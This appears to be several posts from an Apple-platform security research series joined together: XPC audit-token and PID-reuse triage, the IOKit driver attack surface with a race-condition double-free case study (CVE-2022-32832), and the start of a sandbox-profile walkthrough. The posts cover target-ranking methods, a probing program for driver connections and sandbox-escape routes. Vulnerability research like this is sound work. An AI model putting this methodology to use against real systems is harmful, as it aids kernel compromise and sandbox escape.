xpcproxy                     xpc_dictionary_get_audit_token
... 89 daemons in all

Read it as triage. diagnosticd, the root-owned service in the case study, imports xpc_connection_get_pid and none of the other three, so whatever it decides about its peer it decides on a slot number, and daemons in that group go to the top of the list. trustd and secd import xpc_connection_get_audit_token, which is not a bug by itself since it is correct inside an event handler; telling those two cases apart is the part that needs the disassembler. smd, endpointsecurityd and kernelmanagerd import xpc_dictionary_get_audit_token, the per-message call. Watch also for audit_token_to_pid, which configd, sandboxd and taskgated carry: it takes a token and collapses it back to a PID, discarding the pidversion that made the token worth having, so if that PID drives an authorization decision the reuse gap is open again.

smd is the whole point of the exercise. Read the same way, on a current macOS it imports the per-message token call and not the connection variant:

$ nm -u /usr/libexec/smd | grep audit_token | sort -u
_sandbox_check_by_audit_token
_xpc_dictionary_get_audit_token

The xpc_dictionary_get_audit_token line is the fix from the case study, three years on, sitting in the symbol table; sandbox_check_by_audit_token shows smd also runs its sandbox check against the message’s token rather than the connection’s. Intersect the full list with the mach-lookup names your attacker position can resolve, and what is left is a few dozen binaries with one question each: is that call reachable from anywhere other than the event handler.

State in 2026

mach_msg2 (iOS 16, macOS 13). mach_msg() now goes through a split trap that passes the descriptor count as its own argument instead of reading it from the buffer, so impossible shapes die at the syscall boundary. The comment in osfmk/ipc/mach_msg.c names the reason: “Simple message cannot contain descriptors. This invalid config can only happen from mach_msg2_trap() since desc_count is passed as its own trap argument.”

kalloc_type (iOS 15, broadened from iOS 16). The zone allocator segregates by type, so the reallocate-across-types manoeuvre that turned MIG reference-count bugs into fake ports is far less reliable. The next post takes that apart.

Audit tokens, unevenly. Apple has been migrating first-party services onto per-message tokens since 2023, one service at a time. Third-party privileged helpers, where most of this code lives on macOS, were never migrated at all.

Launch and environment constraints (iOS 16, macOS 13). AMFI, Apple Mobile File Integrity, enforces constraints on what may launch a platform binary and in what context, which closes the re-launch trick for the Apple binaries that carry a constraint category in the trust cache. A third-party binary carries none, and the PID-reuse attack above re-launched one of those.

What has not changed: a service that answers “who is calling” by asking the connection, from outside an event handler, is wrong in a way nothing on this list addresses, and MIG still checks a message’s shape and never its meaning.

Where this leaves us

The transport moves capabilities, so every question about privilege here becomes a question about which port a process holds and what a message did to a reference count. A caller’s identity is nowhere in what the sender wrote. It is in a trailer the kernel appends and the receiver has to ask for, and that trailer belongs to one message while the connection it arrived on belongs to everyone holding a send right. Services that keep those two apart are hard to fool. Services that do not can be made to do privileged work for a caller they never authorized, on either platform.

None of it reaches the kernel. A confused deputy gets you a more privileged userland context, and a MIG bug gets you a corrupted object and little else on its own. The next post picks up there: turning one memory-corruption primitive into stable kernel read and write, with heap layout, physical use-after-free, and the data-only strategies that survive kalloc_type.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and binaries shipped on any Mac.

• Apple, XNU source: osfmk/mach/message.h for the header, dispositions, descriptors and trailers; bsd/kern/kern_prot.c for proc_calc_audit_token() and the audit-token layout quoted above; osfmk/kern/ipc_kobject.c for the MIG ownership convention; osfmk/mach/mig.h for the routine table; osfmk/ipc/mach_msg.c for the mach_msg2 shape checks.
• Sector 7 (Computest), “Don’t Talk All at Once! Elevating Privileges on macOS by Audit Token Spoofing” (13 October 2023), the source for the whole case study: the XPC handshake and its 'w00t' message ID, _xpc_connection_set_creds, the smd and diagnosticd race, the decompilation above, and the fix. Linked through the Internet Archive because Sector 7 has since become DEFION and the article’s own URL now redirects to an index page.
• Apple, “About the security content of macOS Ventura 13.4”, for CVE-2023-32405 itself: filed under libxpc, impact “An app may be able to gain root privileges”, credited to Thijs Alkemade (@xnyhps) of Computest Sector 7.
• Scott Knight, “Audit tokens explained” (2020), on how the audit token reaches a receiver through the Mach trailer.
• Samuel Groß, “Don’t Trust the PID! Stories of a simple logic bug and where to find it” (WarCon 2018), the talk that made PID-based authorization a known-bad pattern.
• Csaba Fitzl, “Secure coding XPC Services, part 5” (CVE-2020-14977), a worked PID-reuse attack against a real service.
• Brandon Azad, “voucher_swap: Exploiting MIG reference counting in iOS 12” (Project Zero, 2019), the canonical MIG ownership bug.
• Dillon Franke, “Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529” (Project Zero, 2026), for the object-by-ID type confusion in coreaudiod.
• Jonathan Levin, *OS Internals, Volume I: User Mode (newosxbook.com), the reference for Mach IPC, MIG internals, the launchd bootstrap namespace and XPC.
• Apple, Apple Platform Security, for the vendor-level account of app sandboxing and the mandatory access controls behind it.

IOKit is XNU’s driver framework. (XNU, “X is Not Unix”, is the kernel iOS and macOS share.) Hundreds of drivers live inside it, for the GPU, the display, the camera, the neural engine, the codecs, storage, USB, HID, and each one can publish an endpoint that userland is allowed to open and call. Most of that code is C++ written years ago by different teams, all reached through the same handful of calls. It is the single widest kernel attack surface an unprivileged process can reach, and it is why an iOS LPE almost always runs through a driver.

There are too many drivers to go through one by one. They all work the same way though: the same few calls to open one and call it, and the same kind of table inside that decides which function your call reaches. Learn that once and you can read any of them. This post stops at the bug and how you reach it. Turning a bug into a stable kernel read/write comes later in the series.

What IOKit is

If you come from Linux, the shape is ioctl. A user client is a device node you open, and IOConnectCallMethod is the call you make on it afterwards. Most of the vocabulary maps over:

The row worth stopping on is the argument contract. Linux encodes a size in the command number by convention and leaves each driver to honour it. IOKit writes the expected counts in a table, and the framework checks them before the handler runs. That table is what you read when you audit an IOKit driver.

IOKit is written in a stripped-down C++ that Apple calls libkern: no exceptions, no runtime type information (RTTI), no multiple inheritance, because this runs in the kernel. Without RTTI, a driver cannot recover an object’s type from the language at runtime, so IOKit tracks it separately: a runtime cast is written OSDynamicCast(SomeClass, obj) and returns NULL on a mismatch. Skip that cast, or trust a type without it, and you have a type confusion.

Almost every IOKit object derives from one base class, OSObject, and two facts about it carry through the whole post. Its first field is a pointer to the object’s vtable (the table of function pointers behind every virtual C++ call), so controlling an object’s contents puts you one indirection from controlling a call target, which is why Apple signs that pointer with PAC (Pointer Authentication Codes) on modern hardware. And it is reference counted: free an object while something still points at it and you have a use-after-free.

The drivers sit in a tree, the IORegistry, that you can browse on any Mac or device. A driver matches to a piece of hardware, goes live, and can then vend a user client: the object userland actually opens and calls. That user client is what we attack.

The userland-to-kernel bridge

Opening a user client takes one call:

io_connect_t conn;
IOServiceOpen(service, mach_task_self(), type, &conn);

IOServiceOpen asks a driver to create a user client for your task. The sandbox and entitlement checks happen here, in the framework rather than in the driver: a MACF hook, mac_iokit_check_open_service, is where Sandbox.kext enforces your profile’s iokit-open rules, and the framework itself tests any entitlement the driver named in kIOUserClientEntitlementsKey. If they pass you get back an io_connect_t. That handle is a Mach port, a send right in the sense from the XNU post: an unforgeable reference to a kernel object, this one being your user client. Everything you do to the driver now goes through that port.

You call a method on it with one of the IOConnectCall* functions:

IOConnectCallMethod(conn, selector,
                    scalarInput, scalarInputCnt,    // uint64_t array
                    structInput, structInputSize,   // opaque bytes
                    scalarOutput, &scalarOutputCnt,
                    structOutput, &structOutputSize);

You choose the selector (which method to call) and two payloads: an array of 64-bit scalars and an opaque struct blob. You also supply the count or size of each. Hold on to that: the input, and the numbers describing how big it is, both come from userland. On the way in, the kernel packs them into an IOExternalMethodArguments structure and calls the driver’s externalMethod. Whether the driver checks those numbers before trusting them is the difference between a working call and a bug.

(The synchronous IOConnectCall* functions cross into the kernel as one MIG routine, io_connect_method; the IOConnectCallAsync* variants use a separate one, io_connect_async_method. MIG, the Mach Interface Generator, is the kernel’s RPC-stub compiler, and its generated stubs are a bug surface of their own.)

Where the call lands: the dispatch table

Inside externalMethod, the driver turns your selector into an actual function. Almost always it does this with a table, one entry per selector, and the entry says two things: which function to call, and what the arguments are allowed to be.

The classic form is an array of IOExternalMethodDispatch, one 0x18-byte entry per selector:

struct IOExternalMethodDispatch {
    IOExternalMethodAction function;      // the handler
    uint32_t checkScalarInputCount;       // required scalar count
    uint32_t checkStructureInputSize;     // required struct size
    uint32_t checkScalarOutputCount;
    uint32_t checkStructureOutputSize;
};

The four check* fields are the bounds. If your call’s scalar count or struct size does not match what the entry declares, the call is refused before the handler runs. The comparison itself has always lived in IOUserClient::externalMethod. What was left to each driver was declaring the right numbers, bounds-checking the selector against the array before indexing it, and routing the call through the base implementation at all. Getting any of those wrong is the oldest IOKit bug there is: the handler indexes or copies using a count the caller controls, and writes out of bounds.

kIOUCVariableStructureSize, 0xFFFFFFFF, in any of the four check fields means “variable, do not check”: the caller may send any count or size, and the handler has to validate it itself. Those are the selectors to read first, because the check moved out of the framework and into hand-written code, which is where the mistakes are.

IOUserClient2022 arrived in iOS 16 and by now carries most of the clients worth attacking. Its entries are 0x28 bytes: the same five fields plus a flag for whether the method may be called asynchronously and an optional entitlement string the caller must hold. The framework now also bounds-checks the selector against the array, gates async calls behind that flag, can require a per-selector entitlement, and can single-thread externalMethod for you. That removed most of the “driver forgot to bounds-check” bugs. What is left is the 0xFFFFFFFF handlers that still check their own sizes, and logic bugs the count checks were never going to catch.

The surface, and how to see it

Hundreds of drivers, each vending one or more user clients, each user client exposing tens or hundreds of selectors: that is the surface. What you can reach is a subset your sandbox decides. Its profile lists the user-client classes the process may open, the iokit-open rules from the sandbox post, and that list is your target set. Start with what is live.

Count them. One iOS 15 kernelcache for the iPhone X carries 240 prelinked kexts, the kernel extensions that hold the drivers:

$ ipsw kernel kexts kernelcache.release.iPhone10,3
   • Kexts                     count=240
...
0xfffffff008304bd0: com.apple.driver.AppleMobileFileIntegrity (1.0.5)
0xfffffff0085f8d98: com.apple.iokit.IOSurface (302.9)
0xfffffff008d86d30: com.apple.filesystems.apfs (1933.12.1)
0xfffffff008f16720: com.apple.driver.AppleAVE2 (500.92.7)
0xfffffff009015130: com.apple.security.sandbox (300.0)
0xfffffff00946c5b0: com.apple.iokit.IOGPUFamily (35.8)
0xfffffff0094872a8: com.apple.AGXG10P (187.33)

Not every kext vends a user client, and not every user client is reachable from a sandbox, but that is the pool you are drawing from. com.apple.filesystems.apfs, at 0xfffffff008d86d30, is the one we come back to.

See which are live. ioclasscount prints how many instances of each class exist right now. On any Mac:

ioclasscount | grep -i userclient | sort -t= -k2 -rn | head -12

IOHIDEventServiceUserClient = 187
RootDomainUserClient = 164
AppleKeyStoreUserClient = 102
IOSurfaceRootUserClient = 88
AGXDeviceUserClient = 81
IOUserClient = 40
IOHIDResourceDeviceUserClient = 34
IOUserUserClient = 15
IOUserClient2022 = 15
IOReportUserClient = 9
IOMobileFramebufferUserClient = 9
AppleCredentialManagerUserClient = 8

ioclasscount reports an instance count bumped by the number of direct subclasses that have any instances, so a concrete class like IOSurfaceRootUserClient at 88 really is 88 live connections, while an abstract base reports how many of its direct subclasses are in use. IOSurfaceRootUserClient is the object a later post uses to build kernel read/write. IOMobileFramebufferUserClient is the family behind several bugs used in the wild. And IOUserClient2022 is abstract, so its 15 is not 15 connections: it is 15 driver user-client classes that have adopted the 2022 dispatcher and have live instances right now. ioreg -l gives you the same tree with every property, if you want to see what one driver exposes.

Open one and call it. The bridge from earlier, as a real program: open a service, call one method, print what came back.

#include <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <stdio.h>

static void try_open(const char *name) {
    io_service_t svc = IOServiceGetMatchingService(
        kIOMainPortDefault, IOServiceMatching(name));
    if (!svc) { printf("%-26s no such service\n", name); return; }

    io_connect_t conn = 0;
    kern_return_t kr = IOServiceOpen(svc, mach_task_self(), 0, &conn);
    printf("%-26s IOServiceOpen -> 0x%08x\n", name, kr);

    if (kr == KERN_SUCCESS) {
        uint64_t in[1] = {0};
        kr = IOConnectCallScalarMethod(conn, 0, in, 1, NULL, NULL);
        printf("%-26s selector 0    -> 0x%08x\n", name, kr);
        IOServiceClose(conn);
    }
    IOObjectRelease(svc);
}

int main(void) {
    try_open("IOSurfaceRoot");
    try_open("AppleAPFSContainer");
    try_open("AGXAccelerator");
    return 0;
}

$ clang iokit.c -framework IOKit -framework CoreFoundation -o iokit
$ ./iokit
IOSurfaceRoot              IOServiceOpen -> 0x00000000
IOSurfaceRoot              selector 0    -> 0xe00002c2
AppleAPFSContainer         IOServiceOpen -> 0x00000000
AppleAPFSContainer         selector 0    -> 0xe00002c2
AGXAccelerator             IOServiceOpen -> 0xe00002c7

IOSurfaceRoot and AppleAPFSContainer both opened, 0x00000000 being kIOReturnSuccess, so an ordinary unprivileged process is now holding a live connection to a kernel driver. Calling selector 0 on either returns 0xe00002c2, kIOReturnBadArgument: the driver compared the single scalar we sent against what that selector declares and refused before the handler ran. That is the dispatch table’s check* fields rejecting the call, seen from userland. AGXAccelerator never opened at all: 0xe00002c7 is kIOReturnUnsupported, so the GPU service is in the registry but will not vend us this kind of client.

Return codes alone tell you which drivers you can reach and which selectors refuse which shapes of argument. The full list is in <IOKit/IOReturn.h>.

Watch the call leave the process. The kernel end of this is is_io_connect_method (the is_ prefix marks the MIG server routine), and tracing it needs a DTrace fbt probe, which System Integrity Protection blocks on a stock Mac. The userland end needs nothing but lldb on your own binary:

$ lldb iokit
(lldb) b IOConnectCallScalarMethod
Breakpoint 1: where = IOKit`IOConnectCallScalarMethod, address = 0x00000001848516a0
(lldb) run   # the address moves: lldb resolves it before launch, then the shared cache slides
IOSurfaceRoot              IOServiceOpen -> 0x00000000
Process 78068 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x000000018f47d6a0 IOKit`IOConnectCallScalarMethod
IOKit`IOConnectCallScalarMethod:
->  0x18f47d6a0 <+0>:  pacibsp
    0x18f47d6a4 <+4>:  sub    sp, sp, #0x50
    0x18f47d6a8 <+8>:  stp    x29, x30, [sp, #0x40]
    0x18f47d6ac <+12>: add    x29, sp, #0x40
(lldb) bt
  * frame #0: 0x000000018f47d6a0 IOKit`IOConnectCallScalarMethod
    frame #1: 0x0000000100000654 iokit`try_open + 224
    frame #2: 0x000000010000054c iokit`main + 36
    frame #3: 0x000000018ad5fda4 dyld`start + 6992
(lldb) register read x0 x1 x2 x3
      x0 = 0x0000000000001b0f
      x1 = 0x0000000000000000
      x2 = 0x000000016fdfeb50
      x3 = 0x0000000000000001

x0 is 0x1b0f, the io_connect_t, which is a Mach port name in our task. x1 is the selector, 0. x2 points at our scalar array on the stack and x3 is its count, 1. Those last two are the pair the driver has to check, and kIOReturnBadArgument above is what it looks like when it does.

pacibsp signs the return address before the function does anything else, so PAC is already in force on the userland side of this call.

The bug classes

Four classes cover most of them.

Unbounded counts (out-of-bounds read/write). The oldest one. A handler trusts a caller-supplied count or size, or a length embedded in the struct input, and reads or writes past its buffer. This is the class the dispatch-table check* fields exist to kill.

Type confusion. A driver treats an object as a type it is not, usually by skipping an OSDynamicCast or trusting a type tag in a property dictionary parsed from your input. IOKit passes structured data around as OSDictionary, OSArray, OSData, and the code that unpacks those is a recurring source of confusions.

Use-after-free and lifecycle. A user client, or an object it returned, is freed while a call is still using it. It usually happens during teardown: closing the connection, the provider terminating underneath you, an async call finishing late. Getting the reference count slightly wrong causes the same thing.

Races. A handler takes no lock, so two threads calling the same connection at once corrupt its state, most often by freeing the same object twice. Nothing about the counts is wrong; the bug is that the driver assumed one call at a time. Not every client is racy: a driver that funnels externalMethod through an IOCommandGate is serialised by its workloop, and an IOUserClient2022 client that asks for it is serialised by the framework. Check which before you spend a night racing threads. This is the class our case study lands in.

One bug, start to finish: CVE-2022-32832

Take iOS 15.0 for the iPhone X, load it in Ghidra, and follow the chain: the string AppleAPFSUserClient leads to the OSMetaClass constructor that registers the class, the metaclass leads through getMetaClass to the class vtable, and the vtable ends exactly where the dispatch table begins.

Parsed as an array of IOExternalMethodDispatch, the table runs 61 entries, selectors 0 to 60, and each one states its calling contract. Selector 0 takes a 504-byte structure and returns 4 bytes; selector 2 takes 16 bytes and returns 16. Many entries are NULL: selectors 11 to 28 in one unbroken run, and there are more further down. The index space is wider than the surface you can actually call.

Not one entry in the table uses the 0xFFFFFFFF wildcard. Every populated selector declares a fixed size, so the framework really does check each call before the handler sees it. Selector 49 stands out for what it declares: zero scalars in, zero structure in, zero of either out. There is not one byte to validate, so every check* field passes trivially and the call goes straight through to this:

The driver keeps one in-progress operation per connection, held as a single pointer inside the user client. Finalising it means tearing that operation down, then clearing the pointer. Tidied into C, with the names from the public write-up:

IOReturn methodDeltaCreateFinalize(AppleAPFSUserClient *this)
{
    if (this->deltaCreateCtx == NULL)          // at this + 0xf0
        return kIOReturnNotReady;

    deltaCreateTeardown(this->deltaCreateCtx);
    this->deltaCreateCtx = NULL;               // cleared after the teardown, not before
    return 0;
}

Two threads on one connection both pass the test holding the same value:

thread A                          thread B
read  deltaCreateCtx -> ctx
                                  read  deltaCreateCtx -> ctx
test  != NULL        -> ok
                                  test  != NULL        -> ok
deltaCreateTeardown(ctx)
                                  deltaCreateTeardown(ctx)   <- a second time
deltaCreateCtx = NULL
                                  deltaCreateCtx = NULL

deltaCreateTeardown frees the context and the properties hanging off it. Running it twice on the same context is a double-free and a reference-count underflow at once.

The second free is the one that matters. It frees a block the allocator may already have reallocated to something else. If you can then get a kernel object into that memory (from iOS 15 on, one sharing the freed block’s kalloc_type signature, not any object you like), you can reach it two ways: the legitimate one, and the stale pointer the driver is still holding. Working through the stale pointer is how a bug like this becomes a read and write of kernel memory.

That is the whole bug: nothing the check* fields could have caught, because selector 49 declares no arguments to check. The only thing wrong is the assumption that it runs one call at a time, the same bug you get from two threads in ioctl() on one file descriptor with no mutex. Apple fixed it by wrapping the body in IOLockLock/IOLockUnlock.

Reaching selector 49 takes work. It does nothing until methodDeltaCreatePrepare (selector 36) has left a context behind, which needs an unmounted volume, which normally means creating one with methodVolumeCreate (selector 0), which needs root. Apple’s own impact line is “An app with root privileges may be able to execute arbitrary code with kernel privileges”. So the entry cost is root, one volume you made yourself, one prepared delta context, and then two threads on one connection.

It was fixed in iOS 15.6, which is why the 15.0 kernelcache above still carries it, lock-free.

The surface in 2026

The IOKit surface has narrowed since that bug.

iOS 16 split many dispatch tables in two: a full one and a restricted one. A caller without the right entitlement is routed to the restricted table and gets a stub returning kIOReturnNotPermitted for the sensitive selectors; IOSurfaceRootUserClient and the GPU clients work this way. The practical effect: which selectors you can reach depends on your entitlements, so you have to work it out for your own process instead of reading it off one table.

Two more changes make a bug harder to use. kalloc_type segregates the kernel heap by object type, so freeing a victim and reallocating something you control in its place no longer works across types. On the newest hardware, MIE (Memory Integrity Enforcement, the A19 memory-tagging feature from 2025) makes most out-of-bounds and use-after-free accesses fault outright. Both raise the cost of the step after this one.

Even with a full kernel compromise through IOKit, you do not automatically own the page tables or the code-signing verdict. On A15 and later those sit behind separate monitors, SPTM (Secure Page Table Monitor) and TXM (Trusted Execution Monitor), that ordinary kernel code, IOKit included, cannot write to. A kernel read/write is no longer enough on its own.

Picking targets

Two variables rank every user client: can you reach it, and how weak is its validation.

1. List what you can open. Parse your sandbox profile’s iokit-open rules and cross-check the live registry with ioreg. That intersection is your entire surface, and nothing else is worth a minute.
2. Recover each dispatch table from the kernelcache. Find the user client’s externalMethod, identify the form (0x18 legacy or 0x28 IOUserClient2022), and read the array: for each selector you get the handler and its declared counts.
3. Rank the selectors. Read first: any with a 0xFFFFFFFF variable size (the handler validates itself, so the mistakes are there), anything taking a large or complex struct input, anything with no entitlement requirement that you can still reach.

A few traps:

• Restricted and unrestricted tables differ. Reverse the one your entitlements route you to, not the full one.
• Struct input over 4096 bytes arrives out-of-line, through a different code path than small input, and the two are often validated differently.
• The async variant of a method, called with a completion port so it returns before the handler finishes, is a separate and historically under-read path.
• A handler that takes no lock can be raced by two threads.

Where this leaves us

IOKit is one uniform entry path onto hundreds of independent drivers. The surface is wide because there are so many dispatch tables, and it stays productive because they were written by hand, one driver at a time. Find the clients you can reach, read their dispatch tables, and the surface stops being “the whole kernel” and becomes a short list of selectors you can actually audit.

That is one of the two local surfaces, and where this post stops. A dispatch table tells you what a driver accepts and where its checks are thin. The other half of what a sandboxed process can reach is the set of services it may send a Mach message to, and how you get one of them to do privileged work on your behalf. That is the next post: Mach messages, MIG, and XPC. Every IOConnectCall* above already crossed into the kernel through a MIG stub; the next post takes MIG apart.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and a kernelcache anyone can download.

• Apple, XNU source: iokit/IOKit/IOUserClient.h, iokit/Kernel/IOUserClient.cpp, and osfmk/device/device.defs, the primary reference for IOExternalMethodDispatch, IOExternalMethodArguments, and the io_connect_method / io_connect_async_method MIG routines the IOConnectCall* family funnels through.
• Tommy Muir (Muirey03), CVE-2022-32832 write-up and proof-of-concept, the source for the case study: selector 49, methodDeltaCreateFinalize, the delta_create_ctx_t double-free, the root precondition, and the IOLockLock/IOLockUnlock fix in iOS 15.6.
• Karol Mazurek, “Mapping IOKit Methods Exposed to User Space on macOS”, Phrack 72:9 (2025), on recovering dispatch tables statically and the 0x18 versus 0x28 entry stride.
• Saar Amar, “IOUserClient2022 highlevel overview” and “iOS 16 restricted Userclients”, the reference for the 2022 dispatcher’s centralised checks and the restricted/unrestricted method-table split.
• Brandon Azad, “A survey of recent iOS kernel exploits” (Project Zero, 2020), the exploit-by-exploit catalogue the four bug classes here are drawn from.
• Ian Beer, “An analysis of an in-the-wild iOS Safari WebContent to GPU Process exploit” (Project Zero, 2023), for why a renderer no longer opens GPU user clients directly.
• Apple, “Memory Integrity Enforcement” (2025), the primary source for synchronous memory tagging on A19.
• Moritz Steffin and Jiska Classen, “Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves” (2025), for why IOKit running at EL1, the kernel’s ARM64 exception level, no longer implies control of the page tables.
• Jonathan Levin, *OS Internals, Volume II: Kernel Mode (newosxbook.com), for IOKit, the registry, and driver matching.

The answer is not a check scattered through the kernel. It is a single compiled document, one per process, that the kernel consults on every sensitive operation: open this file, resolve that Mach service name, call this IOKit method. That document is the process’s sandbox profile: the exact list of what a confined process can reach, and therefore the list of everything an attacker who lands in it will try next. Escaping a sandbox is far more often a matter of reading the profile than of corrupting anything.

The sandbox is built like AMFI

The sandbox is Sandbox.kext, a kernel extension (bundle id com.apple.security.sandbox) and a MACF policy module structurally identical to AMFI. It registers a callback at each sensitive operation: a file open, a memory mapping, an IOKit user-client open, a raw syscall. MACF invokes every registered policy there, and a deny from any one denies the operation. That is the deny-wins property from the last post: a single refusal from either module ends the operation, so switching one off buys nothing from the other.

A mach-lookup, resolving a Mach service name to a port, takes a different route. There is no MACF hook for it: launchd asks the sandbox through the policy syscall before it hands out the send right, and the answer comes out of the same profile.

AMFI’s central verdict is taken at exec and is about code identity. The sandbox runs for the rest of the process’s life and filters every sensitive operation it attempts. Both read the same cr_label: AMFI’s verdict sits in one slot, and a pointer to this process’s compiled profile sits in a second slot, which the kernel pulls out and evaluates against at each hook.

The model is deny by default. A profile begins with (deny default), and every capability the process has is an explicit allow written against it. Nothing the profile did not name is permitted.

Two profiles apply to essentially every process, and an operation is allowed only if both allow it:

• The platform profile is a single mandatory base policy compiled into the kext (_platform_profile_data) and evaluated for every process, root daemons included. It is the iOS analogue of SIP (System Integrity Protection) at the MAC layer: even uid-0 code is confined. Because both profiles have to allow an operation, what the platform profile permits is the maximum any process on the system gets, and a per-process profile can only narrow it.
• The per-process profile is container for third-party apps (every App Store app gets the identical container profile; what differentiates them is Apple-signed entitlements plus the per-app parameters bound in at spawn, HOME, the bundle id, App Group UUIDs) or one of the named service profiles: com.apple.WebKit.WebContent, mediaserverd, quicklook-thumbnail, and the rest.

The offensive consequence is the one from the last post: once you have kernel read/write, what confines the process is that pointer. Overwrite it, swap in an unrestricted profile or NULL, and the process is no longer confined, without ever touching the policy itself.

Containers: every process in its own tree

Much of what the profile enforces is expressed in terms of the container. containermanagerd, itself a sandboxed daemon, creates each app’s data container at /var/mobile/Containers/Data/Application/<UUID>/, where the UUID is a random per-install identifier no other app ever learns, and records ownership out of the app’s reach. The profile binds a variable, HOME, to that path at spawn, so a file-read* or file-write* rule written against (subpath (param "HOME")) resolves into the app’s private tree and nowhere else.

The sanctioned way out of that isolation is an App Group: a shared directory under /var/mobile/Containers/Shared/AppGroup/<UUID>/, gated by the com.apple.security.application-groups entitlement, that several of a developer’s apps can share. On macOS the same machinery puts each sandboxed app under ~/Library/Containers/<bundle-id>/. The container is the filesystem half of confinement; the IPC, IOKit, and syscall half is in the profile.

SBPL, and the profile the kernel actually reads

Profiles are authored in SBPL, the Sandbox Profile Language, a small dialect of Scheme. A rule is (action operation filter... modifier...):

• action is allow or deny.
• operation is hierarchical and wildcarded: file-read* covers file-read-data, file-read-metadata, file-read-xattr; alongside it sit file-write*, mach-lookup, network*, iokit-open (opening a driver’s user client), process-exec*, sysctl-read, syscall-unix, and a few dozen more. default sets the base verdict.
• filter narrows the rule to specific arguments: path filters (literal, subpath, prefix, regex), the Mach global-name / local-name (the service name being looked up), require-entitlement, iokit-user-client-class, network socket-domain / remote. Filters combine with require-all / require-any / require-not.
• modifier tweaks the outcome: report, a specific errno to return on deny, send-signal to kill on violation, and no-sandbox, which lets a child run unconfined.

So a single line like (allow mach-lookup (global-name "com.apple.tccd")) reads as it looks: this process may resolve the name of TCC, the Transparency, Consent, and Control daemon, and no other name.

On macOS, libsandbox compiles SBPL to bytecode at spawn, and a dynamic profile can even run Scheme to generate its rules from the process’s entitlements. On iOS none of that happens at runtime: the platform profile and every named-service profile ship pre-compiled inside the kext, in memory the kernel is not allowed to rewrite. No source on the device to read, no compiler to invoke.

The kernel never sees SBPL text; it walks a compiled decision graph. As recovered by SandBlaster, a compiled profile is a header plus an array of fixed 8-byte nodes, indexed by an operation table: entry i is the root node for operation i. A node is either non-terminal, testing one filter against the operation’s context with an argument taken from the profile’s string, regex, or literal tables, and jumping to one of two other nodes on match or mismatch; or terminal, carrying the verdict and its modifier flags.

To decide a mach-lookup of com.apple.foo, the evaluator starts at the mach-lookup root and tests global-name against the first allowed name. A miss threads to the next candidate, and so on down the chain of allowed names, until a match reaches an allow terminal or the last mismatch lands on the default terminal, a deny. Traversal is O(depth) and the only attacker input is the argument being compared, which is why bugs in the interpreter are scarce and the productive attack is on the content of the policy.

Hands-on: reading a profile off a stock Mac

You do not have to decompile anything to learn this on a Mac. Unlike iOS, macOS ships a large set of first-party profiles as readable SBPL text, right in the filesystem.

ls /System/Library/Sandbox/Profiles/*.sb | head

/System/Library/Sandbox/Profiles/accessorysensormgrd.sb
/System/Library/Sandbox/Profiles/airlock.sb
/System/Library/Sandbox/Profiles/application.sb
/System/Library/Sandbox/Profiles/appsandbox-common.sb
/System/Library/Sandbox/Profiles/apsd.sb
/System/Library/Sandbox/Profiles/ASPCarryLog.sb
/System/Library/Sandbox/Profiles/AudioAccessoryAssetManagementXPCService.sb
/System/Library/Sandbox/Profiles/betaenrollmentagent.sb
/System/Library/Sandbox/Profiles/betaenrollmentd.sb
/System/Library/Sandbox/Profiles/blastdoor.sb

Two of those first ten already matter: blastdoor.sb is BlastDoor, the sandbox Apple built around iMessage parsing, and application.sb the base every third-party app inherits. quicklook-thumbnail.sb covers the QuickLook thumbnail generator, which is where an attacker lands for free: the OS parses a file to draw a thumbnail, with no user interaction, on bytes an attacker chose, as soon as it is downloaded, AirDropped, or opened in a Finder window. A memory-safety bug in one of those parsers gives you code execution inside this profile, so its allowed set is exactly what that bug can reach.

Skip the Apple banner at the top, which warns that these rules are private interface and auto-generated, and read the head of the policy:

sed -n '9,12p' /System/Library/Sandbox/Profiles/quicklook-thumbnail.sb

(version 1)
(deny default file-link)
(import "system.sb")
(import "appsandbox-common.sb")

Deny by default, then two imports: system.sb, the common base every process pulls in, and appsandbox-common.sb, the shared App Sandbox layer. The effective policy is this file plus whatever those two allow. Now the allowed Mach services:

grep -nE 'global-name|mach-lookup' /System/Library/Sandbox/Profiles/quicklook-thumbnail.sb

153:(allow mach-lookup
154:       (global-name "com.apple.containermanagerd")
155:       (global-name "com.apple.CoreServices.coreservicesd")
156:       (global-name "com.apple.coreservices.quarantine-resolver")
157:       (global-name "com.apple.cvmsServ")
158:       (global-name "com.apple.distributed_notifications@1v3")
159:       (global-name "com.apple.distributed_notifications@Uv3")
160:       (global-name "com.apple.FileCoordination")
161:       (global-name "com.apple.FontObjectsServer")
162:       (global-name "com.apple.fonts")
163:       (global-name "com.apple.gputools.service")
164:       (global-name "com.apple.mobileassetd")
165:       (global-name "com.apple.ocspd")
166:       (global-name "com.apple.securityd.xpc")
167:       (global-name "com.apple.SecurityServer")
168:       (global-name "com.apple.spindump")
169:       (global-name "com.apple.SystemConfiguration.configd")
170:       (global-name "com.apple.tailspind")
171:       (global-name "com.apple.tccd")
172:       (global-name "com.apple.tccd.system")
173:       (global-name "com.apple.TrustEvaluationAgent")
174:       (global-name "com.apple.windowserver.active"))
175:(allow mach-lookup
176:       (global-name "PurplePPTServer")
177:       (global-name "PurpleSystemEventPort")
178:       (global-name "com.apple.awdd")
179:       (global-name "com.apple.itunesstored.xpc")
180:       (global-name "com.apple.lskdd"))

That is the allowed set. Twenty-odd names, each one a service this profile may resolve into a send right; every other name on the system is unreachable, and bootstrap_look_up, the call that turns a service name into a port, returns nothing. It is the complete first-order attack surface of a thumbnailing bug, and the escape routes are visible in it: com.apple.tccd and com.apple.tccd.system decide whether code may reach your camera, microphone, and private files; com.apple.SecurityServer and com.apple.securityd.xpc front the keychain; com.apple.windowserver.active is WindowServer, historically one of the deepest escape surfaces on the platform; com.apple.CoreServices.coreservicesd is Launch Services, which can start other programs; com.apple.cvmsServ is the shader-compilation service, a long-standing target because it parses and compiles attacker-supplied shaders. The second block, the Purple* names (Purple is Apple’s internal codename for iOS), shows that these first-party profiles are shared source between iOS and macOS.

To watch a denial happen, write a profile that allows everything except one class, the network, and run a program under it:

cat > /tmp/nonet.sb <<'EOF'
(version 1)
(allow default)
(deny network* (with message "nonet-demo"))
EOF
